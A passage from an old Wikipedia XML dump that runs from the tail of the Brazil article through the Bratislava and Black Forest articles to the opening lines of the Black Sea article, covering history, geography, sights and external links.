* [[Communications in Brazil]]
* [[Foreign relations of Brazil]]
* [[Human rights in Brazil]]
* [[Public holidays in Brazil]]
* [[Science and technology in Brazil]]
* [[Transportation in Brazil]]

==Footnotes==
''Much of the material in these articles comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''
#{{note|UN}} [http://www.unhchr.ch/tbs/doc.nsf/0/c021800a90432bc38025655200447629?Opendocument CERD COMMITTEE ON THE ELIMINATION OF RACIAL DISCRIMINATION, Thirteenth periodic report of States parties due in 1994 : Brazil. 22/02/96.CERD/C/263/Add.10. (State Party Report)] 
==External links==
{{sisterlinks|Brasil}}
* {{cite book |author=Wagley, Charles|title=An Introduction to Brazil|publisher=New York, New York: Columbia University Press|year=1963}}

; Government, administration, economy &amp; politics
* [http://www.brasil.gov.br Brasil.gov.br] - Official governmental portal (in Portuguese)
* [http://www.bcb.gov.br Banco Central do Brasil] - Central Bank of Brazil (in Portuguese/English)
* [http://www.camara.gov.br Câmara dos Deputados] - Official Chamber of Deputies site (in Portuguese)
* [http://www.oecd.org/document/60/0,2340,en_2649_34571_34413308_1_1_1_1,00.html Economic Survey of Brazil 2005]
* [http://www.fomezero.gov.br Fome Zero] - Official site of Fome Zero (zero hunger) program (in Portuguese)
* [http://www.mma.gov.br Ministério do Meio Ambiente] - Ministry of the Environment of Brazil (in Portuguese)
* [http://www.planalto.gov.br Presidência da República] - Official presidential site (in Portuguese)
* [http://www.senado.gov.br Senado Federal] - Official senatorial site (in Portuguese)
* [http://www.stf.gov.br Supremo Tribunal Federal] - Supreme Federal Court (in Portuguese)
* [http://www.stj.gov.br Superior Tribunal de Justiça] - Superior Court of Justice (in Portuguese)
* [http://www.mre.gov.br Ministério das Relações Exteriores] - Ministry of Foreign Affairs (Português/English/Español)
* [http://www.consul.cc/brazil Consular Corps of Brazil] - Official Website of CC Brazil (English)

; Information, statistics
* [http://lcweb2.loc.gov/frd/cs/brtoc.html Library of Congress: A Country Study: Brazil]
* [http://www.latinbusinesschronicle.com/brazil Latin Business Chronicle: Updated Brazil economic statistics, reports and links]
* [http://dmoz.org/Regional/South_America/Brazil Open Directory Project - Brazil] directory category
* [http://www.brazilink.org Brazilink] - Selected and updated sources by experts (in English)
* [http://www.ibge.gov.br/english/default.php IBGE] - Brazilian Institute for Geography and Statistics (English, Español, Português)
* [http://www.mapafacil.com.br Mapa Fácil] - Online maps of more than 5000 Brazilian cities (in Portuguese)
* [http://www.bn.br/ National Library] (in Portuguese and English)
* [http://www.spcvb.com.br São Paulo Convention &amp; Visitors Bureau] (in Portuguese and English)

; News and media
* [http://www.brasilpost.com.br Brasil-Post] (in German)
* [http://www.jbonline.com.br Jornal do Brasil] - Rio de Janeiro newspaper (in Portuguese)
* [http://www.oglobo.com.br O Globo] - Rio de Janeiro newspaper (in Portuguese)
* [http://www.odia.com.br O Dia] - Rio de Janeiro newspaper (in Portuguese)
* [http://www.estadao.com.br O Estado de São Paulo] - São Paulo newspapers (in Portuguese)
* [http://www.folhaonline.com.br Folha de São Paulo] - São Paulo newspaper (in Portuguese)
* [http://www.correioweb.com.br Correio Braziliense] - Brasília newspaper (in Portuguese)
* [http://www.gazetamercantil.com.br Gazeta Mercantil] - Business newspaper (in Portuguese and English)
* [http://www.uol.com.br UOL] - Brazilian portal (in Portuguese)
* [http://www.ig.com.br iG] - Brazilian portal (in Portuguese)
* [http://www.terra.com.br Terra] - Brazilian portal (in Portuguese)
* [http://www.globo.com Globo.com] - Brazilian portal (in Portuguese)

; Brazilian television
*[http://www.redeglobo.com Globo] - Brazilian network
*[http://www.sbt.com.br SBT] - Brazilian network
*[http://www.rederecord.com.br Record] - Brazilian network
*[http://www.band.com.br Band] - Brazilian network
*[http://www.redetv.com.br Rede TV!] - Brazilian network
*[http://www.tvcultura.com.br/ Rede Cultura] - Brazilian network
*[http://www.mtv.com.br MTV] - MTV Brazilian channel
*[http://www.redevida.com.br Rede Vida] - Religious channel
*[http://www.rittv.com.br RIT] - Religious channel

; Society, social movements, etc.
*[http://hrw.org/english/docs/2005/01/13/brazil9845.htm Human Rights Watch] (in English)
*[http://web.amnesty.org/library/eng-bra/index Amnesty International] (in English)
*[http://www.midiaindependente.org CMI] - Independent Media Center (in Portuguese)
*[http://www.mst.org.br MST] - Landless Labor Movement (in Portuguese)
*[http://www.oeco.com.br O Eco] - Environment issues of Brazil (in Portuguese)

; Art, cooking, culture, history, travel
* [http://www.roadjunky.com/brazil/guide_brazil.shtml Alternative Brazil Travel info] (in English)
* [http://www.destination360.com/south-america/brazil/brazil.php Brazil Travel Guide] (in English)
* [http://www.ceara.com.br Ceará and Fortaleza tourism information] (in Portuguese)
* [http://www.donabrasil.com Dona Brasil] on cooking, culture and travel (in English and Dutch)
* [http://www.colonialvoyage.com/ Dutch Portuguese Colonial History] Dutch Portuguese Colonial History: history of the Portuguese and the Dutch in Ceylon, India, Malacca, Bengal, Formosa, Africa, Brazil. Language Heritage, lists of remains, maps.
* [http://www.gringoes.com Gringoes.com] Useful portal based in Sao Paulo, Brazil (in English)
* [http://www.easyportuguese.com EasyPortuguese]-- Learn the Portuguese spoken in Brazil.
* [http://www.ethnologue.com/show_country.asp?name=Brazil Ethnologue Languages of the World] - Languages of Brazil
* [http://www.maria-brazil.org Maria-Brazil] - The first Brazilian pop-culture web site produced in the USA. Note: The section ''Maria's Cookbook'' is widely praised (site in English)
* [http://www.pernambuco.com.br Recife and Porto de Galinhas tourism information] (in Portuguese)
* [http://www.travel-impressions.de/brazil/mix/baiana.htm Photos of People and Sights] 
* [http://www.rioforpartiers.com/ Rio For Partiers] - Award winning travel guide to Rio de Janeiro and [http://www.salvadorforpartiers.com/ Salvador]
* [http://www.sonia-portuguese.com sonia-portuguese] Learning Portuguese
* [http://www.thebraziliansound.com The Brazilian Sound] Brazilian music &amp; culture (in English)
* [http://www.thowra.com/brasil.html Travelling in Brazil] (in English)
* [http://www.nossa.com Brazil Information] - information about Brazil and the Portuguese language.
* [http://www.portoseguro.tur.br Porto Seguro Bahia tourism information] (in Portuguese)
* [http://www.v-brazil.com Virtual Brazil] - Information about Brazilian culture, economy and tourism (in English)
* [http://www.zmaxmiez-jpn.net/untitled4.html Viva Brasil!]  All about Brazilian Culture
* [http://www.brazilbrazil.com/braznam.html Hy-Brazil] Origins of the name Brazil
* {{wikitravel}}
* [http://www.rio-online.com Rio-Online.com] - City Information Rio de Janeiro

{{South America}}

[[Category:Brazil| ]]
[[Category:Former Portuguese colonies]]
[[Category:South American countries]]
[[Category:CPLP member states]]

[[af:Brasilië]]
[[am:ብራዚል]]
[[ar:برازيل]]
[[an:Brasil]]
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[[bg:Бразилия]]
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[[uk:Бразилія]]
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[[zh:巴西]]
[[fiu-vro:Brasiilia]]</text>
    </revision>
  </page>
  <page>
    <title>Bratislava</title>
    <id>3384</id>
    <revision>
      <id>42081183</id>
      <timestamp>2006-03-03T18:21:07Z</timestamp>
      <contributor>
        <ip>87.197.118.171</ip>
      </contributor>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
[[Image:Logo of Bratislava.png|left|[[City Logo]].]]
[[Image:Bratis.Erb1.jpg|200px|right]]
&lt;!--ARTICLE'S INFOBOX -- SCROLL DOWN SEVERAL LINES FOR ARTICLE'S SUMMARY--&gt;
{{Infobox Slovak town | 
 subject_name = Bratislava |
 slovak_region = [[Bratislava Region]] |
 slovak_district = Bratislava I-V|
 coordinates = [http://kvaleberg.com/extensions/mapsources/index.php?params=48_9_N_17_7_E_ 48°9'&amp;nbsp;N, 17°7'&amp;nbsp;E][[Geographic references | &lt;sup&gt;5&lt;/sup&gt;]] |
 altitude = 126-514 |
 population = 428,672 |
 area = 367.59 |
 car_plate = BA
}}
&lt;!--//END OF INFOBOX--&gt;

'''Bratislava''' (until [[1919]]: ''Prešporok'' in [[Slovak language|Slovak]],  ''Pressburg'' in [[German language|German]] and [[English language|English]], ''Pozsony'' in [[Hungarian language|Hungarian]], ''Požun'' in [[Croatian language|Croatian]]) is the [[capital]] of [[Slovakia]] and the country's largest city, with a population of some 450,000. Bratislava lies on the River [[Danube River|Danube]], at Slovakia's borders with [[Austria]] and [[Hungary]], and relatively close to the border with the [[Czech Republic]]. It is only 50 km (45-65 minutes by train) from [[Vienna]]. The [[Carpathian Mountains|Carpathian]] mountain range begins within the territory of the city with the ''Malé Karpaty'' (or [[Little Carpathians]]) mountains (part of the Carpathians).

Bratislava is the seat of the Slovak presidency, parliament and government. The city is home to universities, a relatively large number of museums, and to theatres and other cultural institutions (for example, the famous [[Slovak Philharmonic Orchestra]]). 

Historically, the town has been influenced by several nations (among others, Austria, Hungary, and Slovakia).  Shortly before [[World War I|WWI]], it partly functioned as a relaxation place for people from Vienna, the two cities were even connected by a high-speed [[tram]] (since 1914). As is common for former cities of Austria-Hungary, Bratislava had other names, out of which the following ones were the only used or official forms before the end [[World War I]] (1919):

* ''Preßburg'' or ''Pressburg'', its old [[German language|German]] name, ''Pressburg'' in modern German orthography. This was also the primary name used in English until 1919 (written as ''Pressburg'').
* ''Pozsony'', its name in [[Hungarian language|Hungarian]] (still used in Hungarian today)
* ''Prešporok'', its old [[Slovak language|Slovak]] name
* ''Požun'' its old [[Croatian language|Croatian]] name

==Basic data==
Bratislava is located on both banks of the [[Danube]] river, at the foot of and in the [[Little Carpathians]], directly at the [[Austria]]n and [[Hungary|Hungarian]] borders

Climate of the city is mild. The annual average temperature is 9.9 °C, annual hours of sunshine is 1976.4 and average annual rainfall is 527.4 mm according to [[1993]] data.

== History==
''See also: [[History of Bratislava]] (includes the development of the '''ethnic structure''' and '''important personalities''')''

*[[Neolithic]] Age: the first permanent settlement of the region now known as Bratislava begins with the [[Linear Ceramics Culture]] 
*[[400 B.C.]]-[[50 B.C.]]: [[Celt]]s were settled here. From [[125 B.C.]] on they had an important [[oppidum]] (fortified town) with a [[Mint (coin)|mint]] here. 
*[[1st century]] &amp;ndash; [[5th century]]: the border of the [[Roman Empire]] ([[limes|Limes Romanus]]) runs right through the middle of today's town; many Roman (e.g. &quot;Gerulata&quot;) and Germanic settlements 
*[[6th century]]-[[8th century]]: first [[Slavs]] (500 A.D.- today) and  [[Avarians]] ([[560s]] - [[8th century]])
:[[623]]-[[658]]: part of King [[Samo]]'s Empire
*late [[8th century]] &amp;ndash; [[833]]: part of the [[Great Moravia|Nitrian principality]] (Principality of [[Nitra]])
*[[833]] &amp;ndash; [[907]]: part of [[Great Moravia]]
*[[907]] &amp;ndash; [[1918]]: part of [[Hungary]] (with short interruptions) and the captital of [[Bratislava county|Bratislava Comitus]]:
:[[1536]]-[[1784]]: capital of the [[Kingdom of Hungary]] (whose territory consisted until 1699 of today's Slovakia and parts of today's Western Hungary, because the [[Ottoman Empire|Turks]] ruled [[Budapest|Buda]] at that time); the Kingdom of Hungary was part of the [[Habsburg]] (i. e. Austrian) Monarchy from [[1526]] to [[1918]] 
:[[1542]]-[[1848]]: meeting place of the Hungarian Diet (with short interruptions)
:[[1563]]-[[1830]]: coronation town for Hungarian kings ([[St. Martin's Cathedral]] (picture below)) 
:since the [[18th century]]: a center of the [[Slovaks|Slovak]] national movement
*[[1919]]-[[1939]]: part of [[Czechoslovakia]]; official new name becomes &quot;Bratislava&quot;- instead of &quot;Prešporok&quot; ([[Slovak language|Slovak]]) /&quot;Pressburg&quot; ([[German language|German]])/ &quot;Pozsony&quot; ([[Hungarian language|Hungarian]]) in 1919
*[[1939]]-[[1945]]: the capital of [[Slovakia]] 
*[[1945]]-[[1992]]: part of [[Czechoslovakia]] again:
:[[1969]]-[[1992]]: the capital of the [[Federal State]] of Slovakia within [[Czechoslovakia]]
*since [[1993]]: the capital of [[Slovakia]]

=== Names of the city ===
The main known '''names''' of the town were as follows:

: 805/7 (maybe): [[List of Latin place names in Europe#Cities and towns in Slovakia|Wratisslaburgium]] ([[Latin]] ''Pisonium'' or ''Posonium'')
: late [[9th century]](?): Braslava (?)(assumed medieval [[Slavic language|Slavic]] form, probably after a Slav prince [[Braslav]])
:around 850 : Istropolis ([[Greek language|Greek]], stems from the [[christianisation]] period, has been later used by king [[Matthias Corvinus]])
:907: Brezalauspurc(h) (the first sure name; found in the Salzburg Annals; according to some sources derived from Braslava&amp;mdash;see above; according to newer sources: derived from the name Predslav, the 3rd son of [[Svätopluk]] - see also after 1001; note that &quot;P&quot; and &quot;B&quot; are very often interchanged in Austrian and Bavarian local and family names as Bavarian accent does not differentiate between them) 
:after [[1001]]: Preslav(v)a Civitas ([[Latin]]) (this name has been found only recently on coins)
:[[1002]]: Poson ([[Hungarian language|Hungarian]] form, probably after the [[9th century]] Slav prince Božan)
:[[1042]]: Brezesburg
:[[1045]]: Bosenburg
:[[1048]]: Brecesburg
:[[1052]]: Poson, Brezisburg, Bresburc, Preslawaspurch
:[[1098]]: Prespurch
:[[1107]]: Bosan
:[[1108]]: Preburch, Bosania, Prespurch, Bresbruch, Prespuerch, Brespurg, Posonia, Possen
:[[1109]]: Bosan, Presburch
:[[1142]]: Poson
:[[1143]]: Bosonium
:[[1146]]: Bosan
:[[1147]]: Prespurch
:[[1151]] and [[1163]]/[[1164|4]]: Posonium (Latin, origin like Poson above)
:[[1172]] and [[1194]]: Poson
:[[1189]]: Bosonium, Brezburc, Bosonium quod Prespurc teutonice nuncupatur, Brisburc, Posonium
:[[1197]]: Posony
:[[1217]]: Posonia
: ... 
:later also:
:: - [[German language|German]]: Pressburg, Preßburg
::- [[Greek language|Greek]]: Istropolis (meaning  &quot;the Danube City&quot;)
:: - [[Latin]]: Posonium 
:: - [[Hungarian language|Hungarian]]: Pozsony
:: - [[Croatian language|Croatian]]: Požun
:: - [[Romany language|Romany]]: ''Pozhoma''
:: - [[Slovak language|Slovak]]: Pressporek (1773), Prešporok (later) &amp;ndash; stems from the German form
:: - [[Czech language|Czech]]: Prešpurk
:: - [[French language|French]]: Pressbourg, later: Presbourg &amp;ndash; see e. g. the corresponding street name in Paris : rue de Presbourg
:: - [[English language|English]]: Pressburg(h)
: [[1918]] temporarily: Wilsonovo mesto (i. e. &quot;Wilson City&quot;, after U.S. President [[Woodrow Wilson]])
:since [[1919]]: Bratislava (official name, origin disputed: according to older sources it is a mutilation of the old Slavic form Braslava, other say it is an invention by the US-president Wilson, according to newer sources it was created in the early 19th century by members of the Slovak movement and is derived (by mistake) from the name of the [[Bohemia]]n ruler [[Bretislav I|Bretislav]])

== Sights ==
Bratislava is picturesquely situated on both banks of the [[Danube]], at the base of the outlying spurs of the [[Small Carpathians]], in a position of strategic importance near the [[Devín Gate]] (earlier called Hainburger Pforte or Porta Hungarica), and the area includes a picturesque old town.  

One of the most conspicuous buildings of the town is the [[Bratislava Castle]] situated on a plateau 82 m above the Danube. The castle exists since time immemorial, has been the [[acropolis]] of a [[Celt]]ic town, a part of the [[Roman Empire|Roman]] [[Limes Romanus]], a huge Slav fortified settlement and a political, military and religious center of [[Great Moravia]]. A castle of stone was built only in the [[10th century]] (part of Hungary), it was turned to a Gothic anti-[[Hussite]] fortress under [[Sigismund of Luxemburg]] in [[1430]],  in [[1562]] to a [[Renaissance]] castle, and in [[1649]] a [[baroque]] reconstruction took place. Under queen [[Maria Theresa of Austria|Maria Theresa]], the castle was turned into a prestige seat of the royal governor [[Albert von Sachsen-Teschen]], the son-in-law of [[Maria Theresa of Austria|Maria Theresa]], who founded the [[Albertina]] picture gallery in the castle, which was later moved to [[Vienna]]. In [[1784]], when Bratislava ceased to be the capital of Hungary, the castle was turned to a school for Catholic clergy,  and later in 1802 to barracks. In [[1811]], the castle was inadvertently destroyed by fire by the soldiers of the barracks and was in ruins till the [[1950s]],  when it was reconstructed mostly in its former [[Maria Theresa of Austria|Maria Theresa]] style.

Another castle is the '''Devín Castle''' (still in ruins) in the city part Bratislava-Devín. It is situated on the top of a high rock at the point where the [[Morava River, Central Europe|March (Morava) river]], which forms the boundary between Austria and Slovakia, reaches the Danube. It is one of the most important Slovak archaeological sites and has been &amp;ndash;thanks to its excellent location &amp;ndash;a very important frontier castle of [[Great Moravia]] and the early Hungarian state. It was destroyed by Napoleonic troops in [[1809]] and is an important symbol of Slovak and Slavic history. 

Yet another castle, built in [[1813]] and turned to [[English Gothic]] style castle in the late [[19th century]], is situated in the city part Bratislava-'''Rusovce''', otherwise known for ruins of Roman ''Gerulata'' settlements. 

Other noteworthy buildings are:
*the [[St. Martin's Cathedral]] (a Gothic edifice of the 14th-15th century replacing an older church from the 13th century) in which many of the Hungarian kings were crowned
* [[Bratislava's Town hall]] (a complex of 14th-15th century buildings) containing an interesting museum &amp;ndash; the City Museum founded in 1868
* [[Bratislava's Franciscan church]], dating from 1297
* the building of the '''University Library''' (erected in 1756) where the sittings of the Diet (parliament) of the Kingdom of Hungary were held from 1802 to 1848
* the '''Primate´s Palace''' (erected in 1781) in which the (4th) [[Peace of Pressburg]] has been signed
* the beautiful [[Slovak National Theatre]] (built in 1886), and
* the [[Michael's Gate]] (early 17th century), the only still existing tower of the town wall
* the '''narrowest house''' in central (or maybe in whole) Europe (just behind the Michael's Gate)
* [[Nový Most Bratislava]] is a bridge across the [[Danube]] river, featuring a [[UFO]]-like tower restaurant 
* [[Kamzik TV Tower]] is a TV tower of unique design with an observation deck 

In general, the historic center is characterized by many [[baroque]] palaces. The [[Grassalkovich Palace]] (built around 1760), for example, is now the residence of the Slovak president, and the former [[Summer Archbishop's Palace|Archiepiscopal palace]] (1614-1765, the former summer residence of the archbishop of [[Esztergom]]) is now the seat of the Slovak government.

== Economy == 

The economy of Bratislava is prosperous and mainly based on services, engineering ([[Volkswagen]]) and electrical industry; there is also an important international road and railroad junction, [[M. R. Štefánik Airport|Milan Rastislav Štefánik international airport]], and a [[port|river port]].

The [[Gross domestic product|GDP]] per capita ([[Purchasing power parity|PPP]]), which was valued at &amp;euro;25,531 in 2002, reaches 120% of the [[EU]] average, which is the second highest level (behind [[Prague]]) of all regions in all recent and expected acceding countries ([[Eurostat]], data as of 2002; for data of  2000 see for example: [http://www.eu-datashop.de/download/EN/sta_kurz/thema1/dn_03_02.pdf])

==Territorial division==
*5  ''districts'' (for the purpose of national administrative division): 
:[[Bratislava I]] (covers the city)
:Bratislava II (covers the east and southeast)
:Bratislava III (covers the north and northeast)
:Bratislava IV (covers the west)
:Bratislava V (covers the right river bank, i.e. the south, esp. the largest city part Petržalka)

*17 ''&quot;city parts&quot;'' (for the purpose of municipal administrative division and of serving as entities to which the town delegates its powers and functions imposed by law on communities), the number in brackets shows the corresponding district:

&lt;!-- Unsourced image removed: [[Image:mcba.jpg|right|[[City Parts]].]] --&gt;
:1 [[Old Town, Bratislava|Staré Mesto]] (I) [&quot;Old Town&quot;]
:2 [[Ružinov]] (II)
:3 [[Vrakuňa]] (II)
:4 [[Podunajské Biskupice]] (II)
:5 [[Nové Mesto]] (III) [&quot;New Town&quot;]
:6 [[Rača]] (III)
:7 [[Vajnory]] (III)
:8 [[Karlova Ves]] (IV) 
:9 [[Dúbravka]] (IV)
:10 [[Lamač]] (IV)
:11 [[Devín]] (IV)
:12 [[Devínska Nová Ves]] (IV)
:13 [[Záhorská Bystrica]] (IV)
:14 [[Petržalka]] (V) 
:15 [[Jarovce]] (V) 
:16 [[Rusovce]] (V) 
:17 [[Čunovo]] (V) 

*20 ''&quot;cadastral areas&quot;'' (''townships''): they are identical with the above city parts, except that:
:Nové Mesto is split in Nové Mesto + Vinohrady,  and
: Ružinov is split into Ružinov + Nivy + Trnávka

==Population==
Bratislava has 428 672 inhabitants with an average age of 38.7 y [2001 census], out of which: 
* '''in Districts''': Bratislava I  44 798, Bratislava II 108 139, Bratislava III 61 418, Bratislava IV 93 058, Bratislava V 121 259

* '''Nationality''': Slovaks 391 761, Hungarians 16 451, Roma 417, Czechs 7 972,  Moravians 635, Ruthenes 461, Ukrainians 452, Germans 1 200, Poles 339, Croats 614

* '''Religion''': Roman Catholics 243 048, Lutherans of Augsburg Confession 24 810, Greeks Catholics 3 163, Reformed Christians 1 918, Orthodox 1 616, Jehovah's Witnesses 1 827, Methodist Protestants 737, Jews 700, Baptists 613

* '''Age''': 0 &amp;ndash; 5 : 4.1 %, 6 &amp;ndash; 14: 9.8 %, Productive Age: 62.9 %, Post-productive Age: 19%

==Partner Cities== 
* {{flagicon|Austria}} [[Vienna]], [[Austria]]
* {{flagicon|Poland}} [[Kraków]], [[Poland]]
* {{flagicon|Slovenia}} [[Ljubljana]], [[Slovenia]]
* {{flagicon|Germany}} [[Ulm]], [[Germany]]
* {{flagicon|Italy}} [[Perugia]], [[Italy]]
* {{flagicon|Czech Republic}} [[Prague]], [[Czech Republic]]
* {{flagicon|Ukraine}} [[Kyiv]], [[Ukraine]]
* {{flagicon|Finland}} [[Turku]], [[Finland]]
* {{flagicon|USA}} [[Cleveland]], [[USA]]
* {{flagicon|Netherlands}} [[Rotterdam]], [[Netherlands]]

==Images==
&lt;gallery&gt;
Image:bts1.jpg|Bratislava Castle.
Image:bts2.jpg|Devín Castle.
Image:Ba-altesrathaus.jpg|The Old Town Hall viewed from the Main Square.
Image:Ba-haus zum guten hirten.jpeg|The Good Shepherd's House below the Bratislava Castle, housing the Museum of Clocks.
Image:Devin.jpg|The [[Devín]] Castle at the cofluence of the [[Danube]] and the [[Morava]] viewed from Austria - an old picture.
Image:Ba-nationalgalerie.jpeg|The modern part of the [[Slovak National Gallery]].
image:bratislava_view.jpg|Old Town (Staré mesto) of Bratislava viewed from Bratislava Castle.
Image:Bratislava_divadlo.jpg|[[Slovak National Theatre]].
Image:Petržalka apartment blocks in Bratislava.jpg|Apartment blocks of [[Petržalka]], across the [[Danube]] and the [[Nový Most]].
Image:Ba-palais grassalkovich front.jpeg|The [[Grassalkovich Palace]] - the seat of the President.
Image:SKcastleBA.jpg|The [[Bratislava Castle]] viewed from the south-west.
Image:NovyMost.jpg|The [[Novy Most Bratislava|Nový Most]] (New Bridge).
Image:Ba-michaelertor.jpeg|[[Michael's Gate]].
Image:Bratislava-Dom-sv-Martina.jpg|[[St. Martin's Cathedral]] - the coronation cathedral.
Image:Grasalkovic-palace-garden.jpg|The [[Grassalkovich Palace]] - the seat of the President.
&lt;/gallery&gt;

== External links==
{{Commons|Bratislava|Bratislava}}
=== City Information ===
* [http://www.bratislava.sk Official website]
* {{wikitravel}}
* [http://www.bkis.bratislava.sk/e_index.asp Official Bratislava Tourist Service]
* [http://www.spectacularslovakia.sk/ss2002/main_bratislava.html Bratislava in Spectacular Slovakia]
* [http://www.bratislava-info.sk/index.php?action=view&amp;class=n2&amp;iid=1&amp;lng=en Bratislava Tourist Service]
* [http://www.bratislavaslovakia.com/ Bratislava, Slovakia - city districts]
=== Public Transport ===
* [http://public-transport.net/bim/Bratisla.htm Tramway in Bratislava]
* [http://www.imhd.sk/ba/?lang=en Public urban transport in Bratislava]
=== Photo Galleries ===
* [http://www.angelfire.com/home/vj/bratislava/Downtown.htm Bratislava photo gallery]
* [http://www.ron-del.net/ Extensive gallery on Bratislava]
* [http://guri.sk/live Bratislava, Racianske myto Live Webcam]
* [http://www.phileas-fogg.net/bratislava/ Bratislava, the other capital of the Danube] Pictures and history
* [http://www.earthinpictures.com/world/slovakia/bratislava/ Bratislava photo gallery] - Earth in Pictures
* [http://www.panoramy.net/index.php?cat=3&amp;lang=english-utf-8 Panoramatic photo gallery of Bratislava]

=== Maps ===
* [http://maps.google.com/maps?ll=48.141403,17.128029&amp;spn=0.086517,0.124626&amp;t=k&amp;hl=en Satellite photo map from Google Maps]
[[Category:Capitals in Europe]]
[[Category:Cities and towns in Slovakia]]
[[Category:Bratislava]]
[[Category:Cities on the Danube]]

[[ar:براتيسلافا]]
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[[zh:布拉迪斯拉发]]</text>
    </revision>
  </page>
  <page>
    <title>Black Forest</title>
    <id>3385</id>
    <revision>
      <id>41536956</id>
      <timestamp>2006-02-28T00:34:27Z</timestamp>
      <contributor>
        <username>Staffelde</username>
        <id>385596</id>
      </contributor>
      <minor />
      <comment>add cat</comment>
      <text xml:space="preserve">:''There is also a suburb of [[Adelaide]] named [[Black Forest, South Australia]].''

[[Image:BlackForest-Position.png|right|A [[map]] of [[Germany]], showing the Black Forest in [[red]].]]

The '''Black Forest''' ([[German language|German]] ''Schwarzwald'') is a [[forest|wooded]] [[mountain range]] in [[Baden-Württemberg]], southwestern [[Germany]]. It is bordered by the [[Rhine]] valley to the west and south. The highest peak is the [[Feldberg]] with an elevation of 1,493 [[metre|meters]] (4,898 [[foot (unit of length)|feet]]).  The name Black Forest comes from the general dark color of the numerous [[pine]] trees that grow in this region. The [[Black Forest gateau]] originated from this region.

==Geography==
Geologically, the Black Forest consists of a cover of [[sandstone]] on top of a core of [[gneiss]]. During the last ice age, the [[Würm glaciation]], the Black Forest was covered by glaciers; several [[cirque (landform)|cirque]]s such as the [[Mummelsee]] are remains of this period.

Rivers originating in the Black Forest include [[Danube]], [[Enz]], [[Kinzig (Baden-Württemberg)]], [[Murg]], [[Neckar]], and [[Rench]]. The Black Forest is part of the [[continental divide]] between the [[Atlantic Ocean]] watershed (drained by the [[Rhine]]) and the [[Black Sea]] watershed (drained by the Danube). 

Administratively, the Black Forest belongs to the following counties; in the north: [[Enzkreis]], [[Pforzheim]], [[Rastatt (district)|Rastatt]], and [[Calw (district)|Calw]]; in the middle: [[Freudenstadt (district)|Freudenstadt]], [[Ortenaukreis]], and [[Rottweil (district)|Rottweil]]; in the south: [[Emmendingen (district)|Emmendingen]], [[Schwarzwald-Baar]], [[Breisgau-Hochschwarzwald]], [[Lörrach (district)|Lörrach]], and [[Waldshut]].

The forest mostly consists of [[fir]]s; the main industry is [[tourism]]. Dialects spoken are [[Alemannic German|Alemannic]] and [[Swabian German|Swabian]].

This forest has suffered serious damage from acid rain and is only a fraction of the size it used to be; however, the storm [[Lothar (storm)|Lothar]] knocked down hundreds of acres of mountaintops in 1999, leaving some of the high peaks and scenic hills bare, with only primary growth shrubs and young fir trees.

Many people say that they call it the black forest mountains because when on the mountain, in the wooded areas, is seems dark from the shadows of all the trees.

==Points of interest==
[[Image: Windbuchencom.jpg |thumb| Winter on [[Schauinsland]]: famous &quot;Windbuchen&quot; [[Beech]]es bend by the wind]]
The cities of [[Freiburg]] and [[Baden-Baden]] are popular tourist destinations on the western edge of the Black Forest; towns in the forest include [[Bad Herrenalb]], [[Baiersbronn]], [[Freudenstadt]], [[Gengenbach]], [[Schramberg]], [[Staufen, Germany|Staufen]], [[Titisee-Neustadt]], and [[Wolfach, Germany|Wolfach]]. Other popular destinations include such mountains as the Feldberg, the [[Belchen]], the [[Kandel, Germany|Kandel]], and the [[Schauinsland]]; the [[Titisee]] and [[Schluchsee]] lakes; the [[All Saints Waterfalls]]; the [[Triberg Waterfalls]], the highest waterfalls in Germany; and the [[gorge]] of the [[Wutach River]].

The [[Vogtsbauernhöfe]] is an open-air museum that shows the life of [[16th century|16th]] or [[17th century]] farmers in the region, featuring a number of reconstructed Black Forest farms. The [[German Clock Museum]] in [[Furtwangen]] shows the history of the [[clock]] industry and of [[watch]]makers.

==Popular culture==
The Black Forest is known for its [[cuckoo clock]]s, [[honey]], and for [[Black Forest gateau]].

==List of highest mountains==
* [[Feldberg]] (1,493 m; 4,898 ft.)
* [[Herzogenhorn]] (1,415 m; 4,642 ft.)
* [[Belchen]] (1,414 m; 4,639 ft.)
* [[Schauinsland]] (1,284 m; 4,212 ft.)
* [[Kandel]] (1,241 m; 4,072 ft.)
* [[Blauen]] (1,165 m; 3,822 ft.)
* [[Hornisgrinde]] (1,164 m; 3,819 ft.)

==Images of note==
&lt;gallery&gt;
Image:titisee.jpg|The region is replete with visually stunning lakes and mountains.
Image:Feldberg.JPG|The [[Feldberg]].
Image:Blick über den Mittleren Schwarzwald 2.JPG|A view in the Middle Black Forest.
Image:Schwarzwald 1.jpg|The Black Forest.
Image:titisee_winter.jpg|The lake Titisee, popular year-round.
Image:romantik.jpg|Famous Hotel Romantik next to the Titisee.
Image:clock_forest.jpg|The Black Forest is known for its native clock makers.
Image:freistadt.jpg|The Münster cathedral of [[Freiburg]], the most important city of the region.
&lt;/gallery&gt;

==See also==
* [[Hercynian Forest]]

==External links==
*[http://www.schwarzwald.de/e_index.html Touristic information at schwarzwald.de]
*[http://www.blackforestinfo.com/ Touristic information at blackforestinfo.com]

[[Category:Mountain ranges of Germany]]
[[Category:Baden-Württemberg]]
[[Category:Forests and woodlands of Germany]]

[[als:Schwarzwald]]
[[ca:Selva Negra]]
[[de:Schwarzwald]]
[[es:Selva Negra]]
[[eo:Nigra Arbaro]]
[[fa:جنگل سیاه]]
[[fr:Forêt-Noire]]
[[it:Foresta Nera]]
[[nl:Zwarte Woud]]
[[ja:シュヴァルツヴァルト]]
[[pl:Schwarzwald]]
[[pt:Floresta Negra]]
[[ro:Munţii Pădurea Neagră]]
[[ru:Шварцвальд]]
[[simple:Black Forest]]
[[fi:Schwarzwald]]
[[sv:Schwarzwald]]
[[zh:黑森林]]</text>
    </revision>
  </page>
  <page>
    <title>Black Sea</title>
    <id>3386</id>
    <revision>
      <id>41704730</id>
      <timestamp>2006-03-01T04:31:53Z</timestamp>
      <contributor>
        <ip>67.142.130.14</ip>
      </contributor>
      <comment>+ka</comment>
      <text xml:space="preserve">:{{otheruses}}
[[Image:Black Sea map.png|thumb|Map of the Black Sea.]]
[[Image:Ev25334 BlackSea.A2003105.1035.1km.jpg|right|thumb|Satellite view of the Black Sea, taken by [[NASA]] [[MODIS]].]]
